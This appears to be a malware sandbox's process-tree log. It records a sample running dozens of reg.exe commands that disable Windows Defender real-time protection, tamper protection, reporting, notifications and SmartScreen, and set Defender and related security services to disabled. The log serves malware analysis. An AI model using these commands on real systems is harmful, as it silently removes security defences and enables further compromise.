        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d "0" /f
        7⤵
        
        PID:4928
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:5708
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v DisableNotificationCenter /t REG_DWORD /d "1" /f /reg:64
        7⤵
        
        PID:3480
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Windows" /v NoInteractiveServices /t REG_DWORD /d "1" /f
        7⤵
        
        PID:4616
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Windows" /v NoInteractiveServices /t REG_DWORD /d "1" /f /reg:64
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2984
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v DisableNotificationCenter /t REG_DWORD /d "1" /f /reg:64
        7⤵
        
        PID:1524
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v "DontShowUI" /t REG_DWORD /d "1" /f
        7⤵
        
        PID:4236
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v "DontShowUI" /t REG_DWORD /d "1" /f /reg:64
        7⤵
        
        PID:5748
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
        7⤵
        
        PID:5148
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f /reg:64
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2956
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
        7⤵
        
        PID:3488
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f /reg:64
        7⤵
        
        PID:4452
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:5992
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f
        7⤵
        
        PID:5288
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" /v Notification_Suppress /t REG_DWORD /d "00000001" /f /reg:64
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4376
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "00000001" /f /reg:64
        7⤵
        Modifies Windows Defender notification settings
        
        PID:2852
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_SZ /f /reg:64
        7⤵
        Modifies Windows Defender notification settings
        
        PID:3988
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "00000001" /f
        7⤵
        Modifies Windows Defender notification settings
        System Location Discovery: System Language Discovery
        
        PID:4892
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_SZ /f
        7⤵
        Modifies Windows Defender notification settings
        
        PID:2612
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "00000001" /f /reg:64
        7⤵
        Modifies Windows Defender notification settings
        
        PID:4980
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "00000001" /f /reg:64
        7⤵
        Modifies Windows Defender notification settings
        
        PID:5756
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "00000001" /f
        7⤵
        Modifies Windows Defender notification settings
        
        PID:2964
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "00000001" /f
        7⤵
        Modifies Windows Defender notification settings
        System Location Discovery: System Language Discovery
        
        PID:1284
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:2348
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f
        7⤵
        
        PID:4492
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:5036
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3844
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:2236
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
        7⤵
        
        PID:2028
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Virus and threat protection" /v "NoActionNotificationDisabled" /t REG_DWORD /d "00000001" /f /reg:64
        7⤵
        
        PID:3472
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Virus and threat protection" /v "FilesBlockedNotificationDisabled" /t REG_DWORD /d "00000001" /f /reg:64
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5400
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Virus and threat protection" /v "SummaryNotificationDisabled" /t REG_DWORD /d "00000001" /f /reg:64
        7⤵
        
        PID:4552
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRawWriteNotification /t REG_DWORD /d "1" /f /reg:64
        7⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:1528
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d "1" /f /reg:64
        7⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:5476
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:1380
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f /reg:64
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:4804
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:2868
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d "1" /f /reg:64
        7⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:3884
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:1224
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScriptScanning /t REG_DWORD /d "1" /f /reg:64
        7⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:964
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIntrusionPreventionSystem /t REG_DWORD /d "0" /f /reg:64
        7⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:1328
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableInformationProtectionControl /t REG_DWORD /d "0" /f /reg:64
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:5616
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v DisableArchiveScanning /t REG_DWORD /d "1" /f /reg:64
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1304
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t reg_DWORD /d "1" /f /reg:64
        7⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:1676
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t reg_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:4120
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:5856
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d "0" /f
        7⤵
        
        PID:2520
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d "2" /f /reg:64
        7⤵
        
        PID:2180
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d "2" /f
        7⤵
        
        PID:2648
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d "0" /f /reg:64
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1368
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access" /v EnableControlledFolderAccess /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:1908
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d "1" /f /reg:64
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3360
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d "1" /f
        7⤵
        
        PID:4280
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Scan" /v ScheduleDay /t REG_DWORD /d "8" /f /reg:64
        7⤵
        
        PID:1408
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t reg_DWORD /d "1" /f /reg:64
        7⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:5096
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t reg_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:3772
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f /reg:64
        7⤵
        
        PID:1856
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        7⤵
        
        PID:3176
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f /reg:64
        7⤵
        
        PID:1240
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f
        7⤵
        
        PID:5816
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:3832
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
        7⤵
        
        PID:4956
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:5960
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
        7⤵
        
        PID:3956
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d "1" /f /reg:64
        7⤵
        Modifies Windows Defender DisableAntiSpyware settings
        
        PID:5460
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t "REG_DWORD" /d "0" /f /reg:64
        7⤵
        
        PID:3788
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t "REG_DWORD" /d "0" /f
        7⤵
        Modifies Windows Defender TamperProtection settings
        
        PID:1984
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v DisableAntiSpyware /t REG_DWORD /d "4" /f /reg:64
        7⤵
        Modifies security service
        
        PID:5160
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d "4" /f /reg:64
        7⤵
        
        PID:4336
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v Start /t REG_DWORD /d "4" /f /reg:64
        7⤵
        
        PID:3644
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\MsSecFlt" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        
        PID:5232
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        
        PID:5740
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4560
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        
        PID:6068
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        
        PID:2088
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        Modifies Security services
        
        PID:5368
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies Security services
        
        PID:5256
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        Modifies Security services
        
        PID:4644
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        Modifies Security services
        
        PID:1616
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies Security services
        
        PID:3076
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        Modifies Security services
        System Location Discovery: System Language Discovery
        
        PID:4912
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        Modifies Security services
        
        PID:4456
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies Security services
        
        PID:4668
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        Modifies Security services
        
        PID:2544
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies Security services
        
        PID:3604
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        Modifies Security services
        
        PID:2600
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        Modifies Security services
        
        PID:3828
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        Modifies security service
        System Location Discovery: System Language Discovery
        
        PID:6076
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SgrmAgent" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        
        PID:8
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SgrmBroker" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4740
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\SgrmBroker" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        
        PID:3256
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\webthreatdefsvc" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        
        PID:2536
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\webthreatdefusersvc" /v "Start" /t REG_DWORD /d "4" /f /reg:64
        7⤵
        
        PID:2640
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v DisableAntiSpyware /t REG_DWORD /d "4" /f
        7⤵
        Modifies security service
        System Location Discovery: System Language Discovery
        
        PID:3480
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d "4" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5964
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v Start /t REG_DWORD /d "4" /f
        7⤵
        
        PID:5244
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\MsSecFlt" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        
        PID:5188
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        
        PID:52
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        
        PID:2608
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies Security services
        
        PID:2016
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies Security services
        System Location Discovery: System Language Discovery
        
        PID:2908
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies Security services
        
        PID:3156
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies Security services
        
        PID:4980
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies security service
        System Location Discovery: System Language Discovery
        
        PID:6084
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SgrmAgent" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        
        PID:3920
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SgrmBroker" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        
        PID:5316
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\SgrmBroker" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        
        PID:1284
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\webthreatdefsvc" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        
        PID:3420
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\webthreatdefusersvc" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        
        PID:2824
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Windows\System32\reg.exe query "HKLM\SYSTEM\ControlSet001\Services" /s /k "webthreatdefusersvc" /f 2>nul | C:\Windows\System32\find.exe /i "webthreatdefusersvc"
        7⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        
        PID:616
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe query "HKLM\SYSTEM\ControlSet001\Services" /s /k "webthreatdefusersvc" /f
        8⤵
        
        PID:3608
        
        C:\Windows\SysWOW64\find.exe
        
        C:\Windows\System32\find.exe /i "webthreatdefusersvc"
        8⤵
        
        PID:2808
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t REG_SZ /d "Off" /f /reg:64
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2236
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d "0" /f /reg:64
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5436
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:3692
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SmartScreen" /v "EnableSmartScreen" /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:1528
        
